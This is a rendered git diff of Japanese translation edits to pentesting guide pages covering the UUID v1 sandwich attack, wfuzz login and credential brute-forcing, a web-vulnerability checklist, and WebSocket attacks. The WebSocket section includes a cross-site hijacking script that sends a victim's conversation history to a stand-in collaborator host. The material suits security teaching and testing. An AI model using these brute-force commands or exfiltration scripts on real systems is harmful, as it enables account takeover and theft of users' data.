- **UUID v3およびv5** は、名前空間と名前からハッシュ値を使用してUUIDを生成し、v3はMD5を使用し、v5はSHA-1を使用します。
|
- **UUID v3およびv5** は、名前空間と名前からハッシュ値を使用してUUIDを生成し、v3はMD5を使用し、v5はSHA-1を使用します。
|
||||||
- **UUID v4** はほぼ完全にランダムに生成され、高い匿名性を提供しますが、重複のわずかなリスクがあります。
|
- **UUID v4** はほぼ完全にランダムに生成され、高い匿名性を提供しますが、重複のわずかなリスクがあります。
|
||||||
|
|
||||||
@ -23,11 +23,11 @@ UUIDは一意であり、**推測が難しい**ように設計されています
|
|||||||
|
|
||||||
## サンドイッチ攻撃
|
## サンドイッチ攻撃
|
||||||
|
|
||||||
「サンドイッチ攻撃」は、**WebアプリケーションにおけるUUID v1生成の予測可能性を悪用する特定のタイプの攻撃**です。特にパスワードリセットのような機能で使用されます。UUID v1は時間、クロックシーケンス、ノードのMACアドレスに基づいて生成されるため、攻撃者がこれらのUUIDのいくつかを取得できれば、ある程度予測可能になります。
|
「サンドイッチ攻撃」は、**ウェブアプリケーションにおけるUUID v1生成の予測可能性を悪用する特定のタイプの攻撃**です。特にパスワードリセットのような機能で見られます。UUID v1は時間、クロックシーケンス、ノードのMACアドレスに基づいて生成されるため、攻撃者がこれらのUUIDのいくつかを取得できれば、ある程度予測可能になります。
|
||||||
|
|
||||||
### 例
|
### 例
|
||||||
|
|
||||||
UUID v1を使用してパスワードリセットリンクを生成するWebアプリケーションを想像してみてください。攻撃者がこれを悪用して不正アクセスを得る方法は次のとおりです:
|
UUID v1を使用してパスワードリセットリンクを生成するウェブアプリケーションを想像してみてください。攻撃者がこれを悪用して不正アクセスを得る方法は次のとおりです:
|
||||||
|
|
||||||
1. **初期設定**:
|
1. **初期設定**:
|
||||||
|
|
||||||
@ -38,7 +38,7 @@ UUID v1を使用してパスワードリセットリンクを生成するWebア
|
|||||||
|
|
||||||
- 攻撃者は最初のアカウント(\`attacker1@acme.com\`)のパスワードリセットをトリガーし、UUIDを含むパスワードリセットリンクを受け取ります。例えば \`99874128-7592-11e9-8201-bb2f15014a14\`。
|
- 攻撃者は最初のアカウント(\`attacker1@acme.com\`)のパスワードリセットをトリガーし、UUIDを含むパスワードリセットリンクを受け取ります。例えば \`99874128-7592-11e9-8201-bb2f15014a14\`。
|
||||||
- その直後、攻撃者は被害者のアカウント(\`victim@acme.com\`)のパスワードリセットをトリガーし、次にすぐに2番目の攻撃者制御アカウント(\`attacker2@acme.com\`)のためにトリガーします。
|
- その直後、攻撃者は被害者のアカウント(\`victim@acme.com\`)のパスワードリセットをトリガーし、次にすぐに2番目の攻撃者制御アカウント(\`attacker2@acme.com\`)のためにトリガーします。
|
||||||
- 攻撃者は2番目のアカウントのためのリセットリンクを受け取り、UUIDは \`998796b4-7592-11e9-8201-bb2f15014a14\` です。
|
- 攻撃者は2番目のアカウントのリセットリンクを受け取り、UUIDは \`998796b4-7592-11e9-8201-bb2f15014a14\` です。
|
||||||
|
|
||||||
3. **分析**:
|
3. **分析**:
|
||||||
|
|
||||||
@ -47,7 +47,7 @@ UUID v1を使用してパスワードリセットリンクを生成するWebア
|
|||||||
4. **ブルートフォース攻撃**:
|
4. **ブルートフォース攻撃**:
|
||||||
|
|
||||||
- 攻撃者は、これら2つの値の間のUUIDを生成するツールを使用し、生成された各UUIDをテストしてパスワードリセットリンクにアクセスしようとします(例:\`https://www.acme.com/reset/\<generated-UUID>\`)。
|
- 攻撃者は、これら2つの値の間のUUIDを生成するツールを使用し、生成された各UUIDをテストしてパスワードリセットリンクにアクセスしようとします(例:\`https://www.acme.com/reset/\<generated-UUID>\`)。
|
||||||
- Webアプリケーションがそのような試行を適切にレート制限またはブロックしない場合、攻撃者は範囲内のすべての可能なUUIDを迅速にテストできます。
|
- ウェブアプリケーションがそのような試行を適切にレート制限またはブロックしない場合、攻撃者は範囲内のすべての可能なUUIDを迅速にテストできます。
|
||||||
|
|
||||||
5. **アクセス獲得**:
|
5. **アクセス獲得**:
|
||||||
|
|
||||||
@ -55,8 +55,8 @@ UUID v1を使用してパスワードリセットリンクを生成するWebア
|
|||||||
|
|
||||||
### ツール
|
### ツール
|
||||||
|
|
||||||
- ツールを使用してサンドイッチ攻撃を自動的に実行できます:[**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
|
- サンドイッチ攻撃を自動的に実行するには、ツールを使用できます:[**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
|
||||||
- Burp Suiteで拡張機能[**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248)を使用してこれらのタイプのUUIDを検出できます。
|
- Burp SuiteでこれらのタイプのUUIDを検出するには、拡張機能[**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248)を使用できます。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -4,9 +4,9 @@
|
|||||||
|
|
||||||
ウェブアプリケーションをどこでもFUZZするためのツールです。
|
ウェブアプリケーションをどこでもFUZZするためのツールです。
|
||||||
|
|
||||||
> [Wfuzz](https://github.com/xmendez/wfuzz) はウェブアプリケーションの評価作業を容易にするために作成されており、単純な概念に基づいています:FUZZキーワードへの参照を指定されたペイロードの値で置き換えます。
|
> [Wfuzz](https://github.com/xmendez/wfuzz) はウェブアプリケーションの評価作業を容易にするために作成され、単純な概念に基づいています:FUZZキーワードへの参照を指定されたペイロードの値で置き換えます。
|
||||||
|
|
||||||
## インストール
|
## Installation
|
||||||
|
|
||||||
Kaliにインストール済み
|
Kaliにインストール済み
|
||||||
|
|
||||||
@ -48,7 +48,7 @@ wfuzz -e encoders #Prints the available encoders
|
|||||||
|
|
||||||
### ログインフォームブルートフォース
|
### ログインフォームブルートフォース
|
||||||
|
|
||||||
#### **POST、単一リスト、フィルタ文字列(非表示)**
|
#### **POST、シングルリスト、フィルタ文字列(非表示)**
|
||||||
```bash
|
```bash
|
||||||
wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
|
wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
|
||||||
#Here we have filtered by line
|
#Here we have filtered by line
|
||||||
@ -62,9 +62,9 @@ wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=F
|
|||||||
```bash
|
```bash
|
||||||
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
|
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
|
||||||
```
|
```
|
||||||
### ブルートフォースディレクトリ/RESTfulブルートフォース
|
### ブルートフォース ディレクトリ/RESTful ブルートフォース
|
||||||
|
|
||||||
[Arjunパラメータワードリスト](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
|
[Arjun パラメータ ワードリスト](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
|
||||||
```
|
```
|
||||||
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
|
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
|
||||||
```
|
```
|
||||||
@ -82,7 +82,7 @@ wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic
|
|||||||
```bash
|
```bash
|
||||||
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php"
|
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php"
|
||||||
```
|
```
|
||||||
### クッキー/ヘッダー ブルートフォース (vhost ブルート)
|
### クッキー/ヘッダーのブルートフォース (vhostブルート)
|
||||||
|
|
||||||
#### **クッキー、フィルターコード (表示)、プロキシ**
|
#### **クッキー、フィルターコード (表示)、プロキシ**
|
||||||
```bash
|
```bash
|
||||||
|
@ -22,7 +22,7 @@
|
|||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> ほとんどのwebアプリケーションは、**ユーザーが後で処理されるデータを入力することを許可します。**\
|
> ほとんどのwebアプリケーションは、**ユーザーが後で処理されるデータを入力することを許可します。**\
|
||||||
> データの構造によっては、サーバーが期待する脆弱性が適用される場合とされない場合があります。
|
> データの構造によって、サーバーが期待する脆弱性が適用される場合とされない場合があります。
|
||||||
|
|
||||||
### **Reflected Values**
|
### **Reflected Values**
|
||||||
|
|
||||||
@ -44,7 +44,7 @@
|
|||||||
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
||||||
- [ ] [**XS-Search**](xs-search/)
|
- [ ] [**XS-Search**](xs-search/)
|
||||||
|
|
||||||
言及された脆弱性のいくつかは特別な条件を必要とし、他のものは単に内容が反映されることを必要とします。脆弱性を迅速にテストするための興味深いポリグロットを見つけることができます:
|
いくつかの脆弱性は特別な条件を必要とし、他のものは単にコンテンツが反映されることを必要とします。脆弱性を迅速にテストするための興味深いポリグロットを見つけることができます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
pocs-and-polygloths-cheatsheet/
|
pocs-and-polygloths-cheatsheet/
|
||||||
@ -52,7 +52,7 @@ pocs-and-polygloths-cheatsheet/
|
|||||||
|
|
||||||
### **Search functionalities**
|
### **Search functionalities**
|
||||||
|
|
||||||
機能がバックエンド内のデータを検索するために使用される場合、任意のデータを検索するために(悪用)できるかもしれません。
|
バックエンド内のデータを検索するために機能が使用される場合、任意のデータを検索するために(悪用)できるかもしれません。
|
||||||
|
|
||||||
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
|
- [ ] [**File Inclusion/Path Traversal**](file-inclusion/)
|
||||||
- [ ] [**NoSQL Injection**](nosql-injection.md)
|
- [ ] [**NoSQL Injection**](nosql-injection.md)
|
||||||
@ -71,7 +71,7 @@ WebSocketがメッセージを投稿したり、ユーザーがアクション
|
|||||||
|
|
||||||
### **HTTP Headers**
|
### **HTTP Headers**
|
||||||
|
|
||||||
Webサーバーから提供されるHTTPヘッダーによっては、いくつかの脆弱性が存在する可能性があります。
|
Webサーバーから提供されるHTTPヘッダーによって、いくつかの脆弱性が存在する可能性があります。
|
||||||
|
|
||||||
- [ ] [**Clickjacking**](clickjacking.md)
|
- [ ] [**Clickjacking**](clickjacking.md)
|
||||||
- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
|
- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/)
|
||||||
@ -93,8 +93,8 @@ Webサーバーから提供されるHTTPヘッダーによっては、いくつ
|
|||||||
|
|
||||||
### **Structured objects / Specific functionalities**
|
### **Structured objects / Specific functionalities**
|
||||||
|
|
||||||
一部の機能は、**データが非常に特定の形式で構造化されることを必要とします**(言語シリアライズオブジェクトやXMLのように)。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\
|
いくつかの機能は、**データが非常に特定の形式で構造化されることを必要とします**(言語シリアライズオブジェクトやXMLのように)。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\
|
||||||
一部の**特定の機能**も、**特定の形式の入力が使用される場合**に脆弱である可能性があります(メールヘッダーインジェクションのように)。
|
いくつかの**特定の機能**も、**特定の形式の入力が使用される場合**に脆弱である可能性があります(メールヘッダーインジェクションのように)。
|
||||||
|
|
||||||
- [ ] [**Deserialization**](deserialization/)
|
- [ ] [**Deserialization**](deserialization/)
|
||||||
- [ ] [**Email Header Injection**](email-injections.md)
|
- [ ] [**Email Header Injection**](email-injections.md)
|
||||||
@ -105,7 +105,7 @@ Webサーバーから提供されるHTTPヘッダーによっては、いくつ
|
|||||||
|
|
||||||
ファイルのアップロードを許可する機能は、いくつかの問題に対して脆弱である可能性があります。\
|
ファイルのアップロードを許可する機能は、いくつかの問題に対して脆弱である可能性があります。\
|
||||||
ユーザー入力を含むファイルを生成する機能は、予期しないコードを実行する可能性があります。\
|
ユーザー入力を含むファイルを生成する機能は、予期しないコードを実行する可能性があります。\
|
||||||
ユーザーがアップロードしたファイルやユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。
|
ユーザーがアップロードしたファイルや、ユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。
|
||||||
|
|
||||||
- [ ] [**File Upload**](file-upload/)
|
- [ ] [**File Upload**](file-upload/)
|
||||||
- [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
|
- [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||||
|
@ -7,7 +7,7 @@
|
|||||||
## Proxies
|
## Proxies
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> 現在、**web** **applications**は通常、何らかの**中間** **プロキシ**を使用しており、これらは脆弱性を悪用するために(悪用されることがあります)。これらの脆弱性には、脆弱なプロキシが必要ですが、通常はバックエンドに追加の脆弱性も必要です。
|
> 現在、**web** **applications**は通常、何らかの**中間** **プロキシ**を使用しており、これらは脆弱性を悪用するために(悪用される可能性があります)。これらの脆弱性には、脆弱なプロキシが必要ですが、通常はバックエンドに追加の脆弱性も必要です。
|
||||||
|
|
||||||
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
- [ ] [**Abusing hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
|
||||||
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
- [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
|
||||||
@ -44,7 +44,7 @@
|
|||||||
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||||
- [ ] [**XS-Search**](../xs-search.md)
|
- [ ] [**XS-Search**](../xs-search.md)
|
||||||
|
|
||||||
いくつかの脆弱性は特別な条件を必要とし、他のものは単にコンテンツが反映されることを必要とします。脆弱性を迅速にテストするための興味深いポリグロットを見つけることができます:
|
言及された脆弱性のいくつかは特別な条件を必要とし、他のものは単に内容が反映されることを必要とします。脆弱性を迅速にテストするための興味深いポリグロスを見つけることができます:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../pocs-and-polygloths-cheatsheet/
|
../pocs-and-polygloths-cheatsheet/
|
||||||
@ -52,7 +52,7 @@
|
|||||||
|
|
||||||
### **Search functionalities**
|
### **Search functionalities**
|
||||||
|
|
||||||
バックエンド内のデータを検索するために機能が使用される場合、任意のデータを検索するために(悪用)できるかもしれません。
|
機能がバックエンド内のデータを検索するために使用される場合、任意のデータを検索するために(悪用)できるかもしれません。
|
||||||
|
|
||||||
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
|
- [ ] [**File Inclusion/Path Traversal**](../file-inclusion/)
|
||||||
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
- [ ] [**NoSQL Injection**](../nosql-injection.md)
|
||||||
@ -93,8 +93,8 @@ Webサーバーから提供されるHTTPヘッダーによっては、いくつ
|
|||||||
|
|
||||||
### **Structured objects / Specific functionalities**
|
### **Structured objects / Specific functionalities**
|
||||||
|
|
||||||
いくつかの機能は、**データが非常に特定の形式で構造化されることを必要とします**(言語シリアライズされたオブジェクトやXMLのように)。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\
|
一部の機能は、**データが非常に特定の形式で構造化されることを必要とします**(言語シリアライズオブジェクトやXMLのように)。したがって、その種のデータを処理する必要があるため、アプリケーションが脆弱であるかどうかを特定しやすくなります。\
|
||||||
特定の機能も、**特定の形式の入力が使用される場合**に脆弱である可能性があります(Email Header Injectionsのように)。
|
一部の**特定の機能**も、**特定の形式の入力が使用される場合**に脆弱である可能性があります(Email Header Injectionsのように)。
|
||||||
|
|
||||||
- [ ] [**Deserialization**](../deserialization/)
|
- [ ] [**Deserialization**](../deserialization/)
|
||||||
- [ ] [**Email Header Injection**](../email-injections.md)
|
- [ ] [**Email Header Injection**](../email-injections.md)
|
||||||
@ -105,7 +105,7 @@ Webサーバーから提供されるHTTPヘッダーによっては、いくつ
|
|||||||
|
|
||||||
ファイルのアップロードを許可する機能は、いくつかの問題に対して脆弱である可能性があります。\
|
ファイルのアップロードを許可する機能は、いくつかの問題に対して脆弱である可能性があります。\
|
||||||
ユーザー入力を含むファイルを生成する機能は、予期しないコードを実行する可能性があります。\
|
ユーザー入力を含むファイルを生成する機能は、予期しないコードを実行する可能性があります。\
|
||||||
ユーザーがアップロードしたファイルやユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。
|
ユーザーがユーザーによってアップロードされたファイルや、ユーザー入力を含む自動生成されたファイルを開くと、危険にさらされる可能性があります。
|
||||||
|
|
||||||
- [ ] [**File Upload**](../file-upload/)
|
- [ ] [**File Upload**](../file-upload/)
|
||||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||||
|
@ -8,7 +8,7 @@ WebSocket接続は、最初の**HTTP**ハンドシェイクを通じて確立さ
|
|||||||
|
|
||||||
### WebSocket接続の確立
|
### WebSocket接続の確立
|
||||||
|
|
||||||
WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)からアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます:
|
WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)でアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます:
|
||||||
```javascript
|
```javascript
|
||||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||||
```
|
```
|
||||||
@ -38,7 +38,7 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
|||||||
**WebSocketハンドシェイクの重要なポイント:**
|
**WebSocketハンドシェイクの重要なポイント:**
|
||||||
|
|
||||||
- `Connection`および`Upgrade`ヘッダーはWebSocketハンドシェイクの開始を示します。
|
- `Connection`および`Upgrade`ヘッダーはWebSocketハンドシェイクの開始を示します。
|
||||||
- `Sec-WebSocket-Version`ヘッダーは、通常`13`の希望するWebSocketプロトコルバージョンを示します。
|
- `Sec-WebSocket-Version`ヘッダーは、希望するWebSocketプロトコルバージョンを示し、通常は`13`です。
|
||||||
- Base64エンコードされたランダム値が`Sec-WebSocket-Key`ヘッダーに送信され、各ハンドシェイクがユニークであることを保証し、キャッシングプロキシによる問題を防ぎます。この値は認証のためではなく、応答が誤って構成されたサーバーやキャッシュによって生成されていないことを確認するためのものです。
|
- Base64エンコードされたランダム値が`Sec-WebSocket-Key`ヘッダーに送信され、各ハンドシェイクがユニークであることを保証し、キャッシングプロキシによる問題を防ぎます。この値は認証のためではなく、応答が誤って構成されたサーバーやキャッシュによって生成されていないことを確認するためのものです。
|
||||||
- サーバーの応答における`Sec-WebSocket-Accept`ヘッダーは`Sec-WebSocket-Key`のハッシュであり、WebSocket接続を開くサーバーの意図を確認します。
|
- サーバーの応答における`Sec-WebSocket-Accept`ヘッダーは`Sec-WebSocket-Key`のハッシュであり、WebSocket接続を開くサーバーの意図を確認します。
|
||||||
|
|
||||||
@ -50,14 +50,14 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
|||||||
```bash
|
```bash
|
||||||
websocat --insecure wss://10.10.10.10:8000 -v
|
websocat --insecure wss://10.10.10.10:8000 -v
|
||||||
```
|
```
|
||||||
または、websocatサーバーを作成するには:
|
ウェブソケットサーバーを作成するには:
|
||||||
```bash
|
```bash
|
||||||
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||||
```
|
```
|
||||||
### MitM websocket connections
|
### MitM websocket connections
|
||||||
|
|
||||||
もしクライアントが現在のローカルネットワークから**HTTP websocket**に接続していることがわかった場合、[ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)を試みて、クライアントとサーバーの間でMitM攻撃を実行することができます。\
|
もしクライアントが現在のローカルネットワークから**HTTP websocket**に接続していることがわかった場合、[ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)を試みて、クライアントとサーバーの間でMitM攻撃を実行することができます。\
|
||||||
クライアントが接続しようとしているときに、次のように使用できます:
|
クライアントが接続しようとしたら、次に使用できます:
|
||||||
```bash
|
```bash
|
||||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||||
```
|
```
|
||||||
@ -88,7 +88,7 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
|||||||
|
|
||||||
**websocket**接続を**確立**する際に、**クッキー**が**サーバー**に**送信**されることに注意してください。**サーバー**は、送信されたクッキーに基づいて各**特定の** **ユーザー**をその**websocket** **セッション**に**関連付ける**ためにそれを使用している可能性があります。
|
**websocket**接続を**確立**する際に、**クッキー**が**サーバー**に**送信**されることに注意してください。**サーバー**は、送信されたクッキーに基づいて各**特定の** **ユーザー**をその**websocket** **セッション**に**関連付ける**ためにそれを使用している可能性があります。
|
||||||
|
|
||||||
次に、例えば**websocket** **サーバー**がユーザーの**会話の履歴**を返す場合、"**READY"**というメッセージが送信されると、**シンプルなXSS**が接続を確立し(**クッキー**は被害者ユーザーを認証するために**自動的に送信**されます)、"**READY**"を送信することで**会話の履歴**を**取得**できるようになります。
|
次に、例えば**websocket** **サーバー**がユーザーの**会話の履歴**を**返送**する場合、"**READY"**というメッセージが送信されると、**単純なXSS**が接続を確立し(**クッキー**は被害者ユーザーを認証するために**自動的に送信**されます)、"**READY**"を送信することで**会話の履歴**を**取得**できるようになります。
|
||||||
```markup
|
```markup
|
||||||
<script>
|
<script>
|
||||||
websocket = new WebSocket('wss://your-websocket-URL')
|
websocket = new WebSocket('wss://your-websocket-URL')
|
||||||
@ -109,7 +109,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
|||||||
|
|
||||||
### ユーザーからデータを盗む
|
### ユーザーからデータを盗む
|
||||||
|
|
||||||
なりすましたいウェブアプリケーションをコピーし(例えば .html ファイル)、Websocket通信が行われているスクリプト内にこのコードを追加します:
|
なりすましたいウェブアプリケーションをコピーし(例えば .html ファイル)、ウェブソケット通信が行われているスクリプト内にこのコードを追加します:
|
||||||
```javascript
|
```javascript
|
||||||
//This is the script tag to load the websocket hooker
|
//This is the script tag to load the websocket hooker
|
||||||
;<script src="wsHook.js"></script>
|
;<script src="wsHook.js"></script>
|
||||||
@ -136,15 +136,15 @@ sudo python3 -m http.server 80
|
|||||||
```
|
```
|
||||||
## レースコンディション
|
## レースコンディション
|
||||||
|
|
||||||
WebSocketsにおけるレースコンディションも存在します。[この情報を確認して、詳細を学んでください](race-condition.md#rc-in-websockets)。
|
WebSocketにおけるレースコンディションも存在します。[この情報を確認して、詳細を学んでください](race-condition.md#rc-in-websockets)。
|
||||||
|
|
||||||
## その他の脆弱性
|
## その他の脆弱性
|
||||||
|
|
||||||
Web Socketsは**サーバー側とクライアント側にデータを送信するメカニズム**であり、サーバーとクライアントが情報をどのように処理するかによって、**Web SocketsはXSS、SQLi、またはWebの一般的な脆弱性を利用するために、WebSocketからのユーザーの入力を使用して、他のいくつかの脆弱性を悪用するために使用される可能性があります。**
|
WebSocketは**サーバー側とクライアント側にデータを送信するメカニズム**であり、サーバーとクライアントが情報をどのように処理するかによって、**WebSocketはXSS、SQLi、またはWebSocketからのユーザー入力を使用した他の一般的なWeb脆弱性を悪用するために使用される可能性があります。**
|
||||||
|
|
||||||
## **WebSocketスモグリング**
|
## **WebSocketスモグリング**
|
||||||
|
|
||||||
この脆弱性により、**逆プロキシの制限を回避する**ことができ、**WebSocket通信が確立された**と信じ込ませることができます(たとえそれが真実でなくても)。これにより、攻撃者は**隠れたエンドポイントにアクセスする**ことができる可能性があります。詳細については、以下のページを確認してください:
|
この脆弱性により、**逆プロキシの制限を回避する**ことができ、**WebSocket通信が確立された**と信じ込ませることができます(たとえそれが真実でなくても)。これにより、攻撃者は**隠されたエンドポイントにアクセスする**ことができる可能性があります。詳細については、以下のページを確認してください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
h2c-smuggling.md
|
h2c-smuggling.md
|
||||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user